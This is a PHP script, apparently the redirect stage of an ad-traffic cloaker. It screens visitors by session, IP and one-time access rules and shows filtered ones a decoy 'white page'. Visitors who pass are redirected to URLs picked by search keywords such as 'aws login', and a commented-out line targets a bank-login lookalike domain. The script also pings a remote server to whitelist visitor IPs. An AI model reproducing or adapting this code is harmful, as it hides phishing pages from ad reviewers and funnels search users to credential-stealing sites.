<?php

session_start();

// removed funcs
// was here
require_once 'func.php';
//
// $conf = json_decode(file_get_contents(".config.json"),true);
$conf = read_config(".config.json");
if (is_null($conf)) { white_page("error_cloack",false); }
// config check ends
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);
$user_id = "not set";

$not_pass_log_file = $conf["not_pass_log_file"];

$log_line = []; // empty

$country = (isset($_SERVER["HTTP_CF_IPCOUNTRY"])?$_SERVER["HTTP_CF_IPCOUNTRY"]:"none");

$http_ref = get_http_ref();
$http_ua = get_http_ua();
// парсим utm_term

// 1. Быстрый сбор всех utm_term из сырого URL
$queryString = $_SERVER['QUERY_STRING'] ?? '';
preg_match_all('/(?:^|&)utm_term=([^&]*)/', $queryString, $matches);

// ИСПРАВЛЕНО: передаем во второй аргумент $matches[1] вместо $matches
$utmTerms = array_map('urldecode', $matches[1]);

// 2. Если параметров несколько, выкидываем пустые
if (count($utmTerms) > 1) {
    $utmTerms = array_values(array_filter($utmTerms, 'strlen'));
}

// Инициализируем базовое значение
$processedTerms = [];
$utm_term = "none";

if (!empty($utmTerms)) {
    // Если единственный элемент оказался пустой строкой (utm_term=)
    if (count($utmTerms) === 1 && $utmTerms[0] === '') {
        $utm_term = "empty";
    } else {
        // Обрабатываем каждый элемент на бинарность
        $processedTerms = array_map(function($term) {
            return isBinary($term) ? urlencode($term) : $term;
        }, $utmTerms);

        // Склеиваем через запятую для сохранения обратной совместимости со старыми логами
        $utm_term = implode(',', $processedTerms);
    }
}

$log_line[1] = $user_id;
$log_line[2] = $country;
$log_line[3] = $utm_term;
$log_line[4] = $http_ref;
$log_line[5] = $http_ua;
$log_line[6] = $ip; // set ip

$log_line[8] = "none";
$log_line[9] = "none";
$log_line[10] = "none";
$log_line[7] = "";
ksort($log_line);

if(isset($_SESSION["user_id"]) && !empty($_SESSION["user_id"]))
{
    $user_id = $_SESSION["user_id"];
    debug_log("user_id from session: ".$user_id);
    debug_log("user ip: ".$ip);
    debug_log("user ip from session: ".$_SESSION["user_ip"]);
    if(isset($_SESSION["old_user_id"]) && !empty($_SESSION["old_user_id"]))
    {
        debug_log("old user id was: ".$_SESSION["old_user_id"]);
    }
}
else
{
    debug_log("user_id not set for ".$ip);
            $log_line[7] = "no http cookie support";
            $final_notpass_line = implode("|",$log_line);
            user_log($final_notpass_line,$not_pass_log_file);
    white_page($conf['next_step_page']);
}

if(!isset($_SESSION["allow_filter"]))
{
    debug_log("no our session: allow_filter");
            $log_line[7] = "no http cookie support";
            $final_notpass_line = implode("|",$log_line);
            user_log($final_notpass_line,$not_pass_log_file);
    white_page($conf['next_step_page']);
}
elseif(isset($_SESSION["allow_filter"]) && empty($_SESSION["allow_filter"]))
{
    debug_log("our session empty: allow_filter");
            $log_line[7] = "no http cookie support";
            $final_notpass_line = implode("|",$log_line);
            user_log($final_notpass_line,$not_pass_log_file);

    white_page($conf['next_step_page']);
}

// IP

if ($ip !== $_SESSION["user_ip"])
{
    if (empty($_SESSION["old_user_ip"]) || !isset($_SESSION["old_user_ip"]))
    {
        $ipv4 = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:'CF-Connecting-IP empty');
        $ipv6 = (isset($_SERVER["HTTP_CF_CONNECTING_IPV6"])?$_SERVER["HTTP_CF_CONNECTING_IPV6"]:'CF-Connecting-IPv6 empty');
        $x_forwared_for = (isset($_SERVER["HTTP_X_FORWARED_FOR"])?$_SERVER["HTTP_X_FORWARED_FOR"]:'X-Forwarded-For empty');

        debug_log("user new headers ipv4 address : ".$ipv4);
        debug_log("user new headers ipv6 address : ".$ipv6);
        debug_log("user new headers X-Forwarwed-For : ".$x_forwared_for);
        //
        debug_log("user old headers ipv4 address : ".$_SESSION["user_ipv4"]);
        debug_log("user old headers ipv6 address : ".$_SESSION["user_ipv6"]);
        debug_log("user old headers X-Forwarwed-For : ".$_SESSION["user_header_forwarded_for"]);
    }
    debug_log("user ip changed from ".$_SESSION["old_user_ip"]." to ".$ip);
    $_SESSION["user_ip"] = $ip;
    if(isset($_SESSION["old_user_ip"]) && !empty($_SESSION["old_user_ip"]))
    {
        debug_log("old user ip was: ".$_SESSION["old_user_ip"]);
    }
}

    if($conf['onetime'])
    {
        if(isset($_SESSION["old_user_id"]) && !empty($_SESSION["old_user_id"]))
        {
            debug_log("old user id was: ".$_SESSION["old_user_id"]);
            debug_log("onetime access enabled : ".$user_id);
            white_page($conf['next_step_page']);
        }
        if(isset($_SESSION["old_user_ip"]) && !empty($_SESSION["old_user_ip"]))
        {
            debug_log("old user ip was: ".$_SESSION["old_user_ip"]);
            debug_log("onetime access enabled : ".$user_id);
            white_page($conf['next_step_page']);
        }
    }
    else
    {
        if(isset($_SESSION["old_user_id"]) && !empty($_SESSION["old_user_id"]))
        {
            debug_log("old user id was: ".$_SESSION["old_user_id"]);
        }
        if(isset($_SESSION["old_user_ip"]) && !empty($_SESSION["old_user_ip"]))
        {
            debug_log("old user ip was: ".$_SESSION["old_user_ip"]);
        }
        debug_log("onetime access disabled : ".$user_id);
            
    }

// $user_id = uniqid('', true);
$log_line = $user_id;

$country = $_SESSION["user_country"];

debug_log(str_repeat("-", 20));
$ptr = $_SESSION["user_ptr"];

debug_log("user ptr: ".$ptr);

debug_log("user geo: ".$country);

if ($conf['closed']) { debug_log("closed"); white_page($conf['next_step_page']); }

$final_url = resolve_final_url($conf);

        if (isset($conf['remote_final_url']) && !empty($conf['remote_final_url']))
        {
            debug_log("request for final url via : ".$conf['remote_final_url'].$_SERVER['SERVER_NAME']);
            $remote_data = file_get_contents($conf['remote_final_url'].$_SERVER['SERVER_NAME']);
            if (json_decode($remote_data, true) !== null)
            {
                $remote_data_array = json_decode($remote_data, true);
                if ( $remote_data_array["status"] )
                {
                    $final_url = $remote_data_array["url"];
                }
                else
                {
                    debug_log("final_url from remote url status not true : ".$conf['remote_final_url'].$_SERVER['SERVER_NAME']);
                    white_page($conf['next_step_page']);
    
                }
            }
            else
            {
                debug_log("final_url from remote url invalid json : ".$conf['remote_final_url'].$_SERVER['SERVER_NAME']);
                white_page($conf['next_step_page']);
    
            }
            
            if(filter_var($final_url, FILTER_VALIDATE_URL))
            {
                debug_log("final_url is set to : ".$final_url);
            }
            else
            {
                debug_log("final_url from remote url invalid : ".$final_url);
                white_page($conf['next_step_page']);
            }
            
        }

        if (isset($conf['remote_hotejka']) && $conf['remote_hotejka'])
        {

            $final_url = get_hotejka_url();

            if(filter_var($final_url, FILTER_VALIDATE_URL))
            {
                debug_log("from hotejka final_url is set to : ".$final_url);
            }
            else
            {
                debug_log("final_url from remote url invalid : ".$final_url);
                white_page($conf['next_step_page']);
            }

        }

debug_log("init final_url : ".$final_url);

$asn_num = $_SESSION["user_asn"];
debug_log("asn num : ".$asn_num);

    $source_user = "none";

    if (isset($_GET["utm_source"]) && !empty($_GET["utm_source"]) )
    {
        $source_user = $_GET["utm_source"];
    }
    elseif (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) )
    {
        $source_user = $_SERVER['HTTP_REFERER'];
    }
    elseif (isset($_SERVER['HTTP_REFERER']) && empty($_SERVER['HTTP_REFERER']) )
    {
        $source_user = "empty";
    }
    else { $utm_source = "not set"; }

    $utm_source = $source_user;

    $log_line = $log_line."|".$utm_source;

// need parse like utm_term=kazon&utm_term=aws%20login&utm_content=Ad%20Group%201&msclkid=cc47f428213b123b44f49e4bee2e27c2&utm_campaign=Bing%20shoping(amz)&utm_source=bing&utm_medium=cpc

// Проверяем, удалось ли нам успешно распарсить и очистить хотя бы одно значение utm_term
if (!empty($utmTerms) && $utmTerms[0] !== '') {
    
    // ОПТИМИЗИРОВАНО: Формируем лог один раз для всех ключей сразу
    $allTermsString = implode(',', $processedTerms);
    debug_log("utm_term : " . $allTermsString);
    $log_line .= "|" . $allTermsString;

    // Запускаем поиск по ключевым словам
    foreach ($processedTerms as $currentTerm) {
        foreach (array_keys($conf['keywords']) as $keyword) {
            // preg_quote защищает от Fatal Error при наличии спецсимволов и слэшей
            if (preg_match("/" . preg_quote($keyword, '/') . "/i", $currentTerm)) {
                
                $target = $conf['keywords'][$keyword];

                // Компактный выбор URL. Работает для строк и массивов любой длины
                $final_url = is_array($target) ? $target[array_rand($target)] : $target;
                
                debug_log("url set for {$keyword} : " . $final_url);
                break 2; // Выходим из обоих циклов, так как цель найдена
            }
        }
    }
    
    debug_log("final_url : " . $final_url);

} else {
    // Сработает, если utm_term вообще не было в URL или он пришел пустым (utm_term=)
    $utm_term = "not set";
    $log_line .= "|" . $source_user;
}

// if($_SESSION['user_country'] == "CZ")
// {
//	$final_url = "https://cz.unicreditlogin.digital/workbench.php";
//	debug_log("url set for GEO match : ".$final_url);
//
// }

if($conf['pass_utm'])
{
    debug_log("add QUERY_STRING filter enabled ");
    if(isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING']))
    {

            $query_string_0 = '';

            if (strpos($final_url, "?") === false) { $query_string_0 = '?'; }
            else { $query_string_0 = '&'; }

            $final_url = $final_url.$query_string_0.$_SERVER['QUERY_STRING'];
            $final_url = $final_url.'&ggclid='.$user_id;
        debug_log("final_url pass_utm filter : ".$final_url);
    }
    else { debug_log("add QUERY_STRING filter - no QUERY_STRING exists "); }
}
else { debug_log("add QUERY_STRING filter disabled "); }

// $final_url = $final_url."?gclid=".base64_encode($user_id);
// @file_get_contents("http://170.64.153.3:63843/auth.php?ip=".$ip);
//
if(!empty($conf['pass_auth_ip']))
{
    @file_get_contents("http://".$conf['pass_auth_ip'].":".$conf['pass_auth_port']."/auth.php?ip=".$ip);
}

if(!empty($conf['new_pass_auth_ip']))
{
    $final_url = send_auth_token($conf, $final_url);
}

//
$clickid = "none";

$gclid_u = "none";

$url_str_char = "?";
$gclid_wbraid = "";
$gclid_gbraid = "";
$gclid_gclid = "";
$gclid_fbclid = "";
$gclid_msclkid = "";
$gclid_clickid = "";

//	if($conf['gclid'] && isset($_GET['gbraid']) && !empty($_GET['gbraid']))
    if(isset($_GET['gbraid']) && !empty($_GET['gbraid']))
    {
        $gclid_gbraid = "gbraid=".$_GET['gbraid'];
    }

    if(isset($_GET['wbraid']) && !empty($_GET['wbraid']))
    {
        $gclid_wbraid = "wbraid=".$_GET['wbraid'];
    }

    if(isset($_GET['fbclid']) && !empty($_GET['fbclid']))
    {
        $gclid_fbclid = "fbclid=".$_GET['fbclid'];
    }
    if(isset($_GET['gclid']) && !empty($_GET['gclid']))
    {
        $gclid_gclid = "gclid=".$_GET['gclid'];
    }

    if(isset($_GET['msclkid']) && !empty($_GET['msclkid']))
    {
        $gclid_msclkid = "msclkid=".$_GET['msclkid'];
    }

    if(!empty($conf["custom_clickid"]) && isset($_GET[$conf["custom_clickid"]]) && !empty($_GET[$conf["custom_clickid"]]))
    {
        $gclid_clickid = $conf["custom_clickid"]."=".$_GET[$conf["custom_clickid"]];
    }

// Проверяем каждую переменную и клеим разделитель, только если строка уже не пустая
if ($gclid_gclid !== '') { $clickid = $gclid_gclid; }
if ($gclid_gbraid !== '')     { $clickid .= ($clickid !== '' ? '&' : '') . $gclid_gbraid; }
if ($gclid_wbraid !== '')      { $clickid .= ($clickid !== '' ? '&' : '') . $gclid_wbraid; }
if ($gclid_fbclid !== '')     { $clickid = $gclid_fbclid; }
if ($gclid_msclkid !== '')     { $clickid = $gclid_msclkid; }
if ($gclid_clickid !== '')     { $clickid = $gclid_clickid; }

    // $clickid = $gclid_u;
    $gclid_u = $user_id;  // write gclid to user_log, but send to conversion our user_id

if ($conf['gc_lid'])
{

    if ($conf['enc_gc_lid'])
    {
        $gclid_u = openssl_encrypt($gclid_u,"AES-128-ECB",$conf['pass_gc_lid']);
        $gclid_u = urlencode($gclid_u);
    }
        if ($conf['mix_gc_lid'])
        {
                $gclid_u = str_shuffle($gclid_u);
        }
        
    if (strpos($final_url, "?"))
    {
        $url_str_char = "&";
    }
    // $final_url = $final_url.$url_str_char."gc_lid=".$gclid_u;
    // if gc_lid, we send also user ip to check
        $user_ip_data = openssl_encrypt($ip,"AES-128-ECB",$conf['pass_gc_lid']);
        $user_ip_data = urlencode($user_ip_data);
        $final_url = $final_url.$url_str_char."gc_lid=".$gclid_u."&data=".$user_ip_data;
    
}

debug_log("user redirect to url : ".$final_url);
//
// unset allow_here need
//
$log_line = $log_line."|".$country."|".$_SERVER['HTTP_USER_AGENT']."|".$final_url."|".$clickid."|".$ip."|".$_SESSION['user_os']."|".$_SESSION['user_device']."|".$_SESSION['user_browser'];

user_log($log_line);
click_log($user_id."|".$clickid);
debug_log($log_line);
$_SESSION["was_here"] = true;
unset($_SESSION["allow_filter"]);

write_full_request_log('passed', 'target passed via cloack');
header("Location: ".$final_url,true, 307);
exit;

?>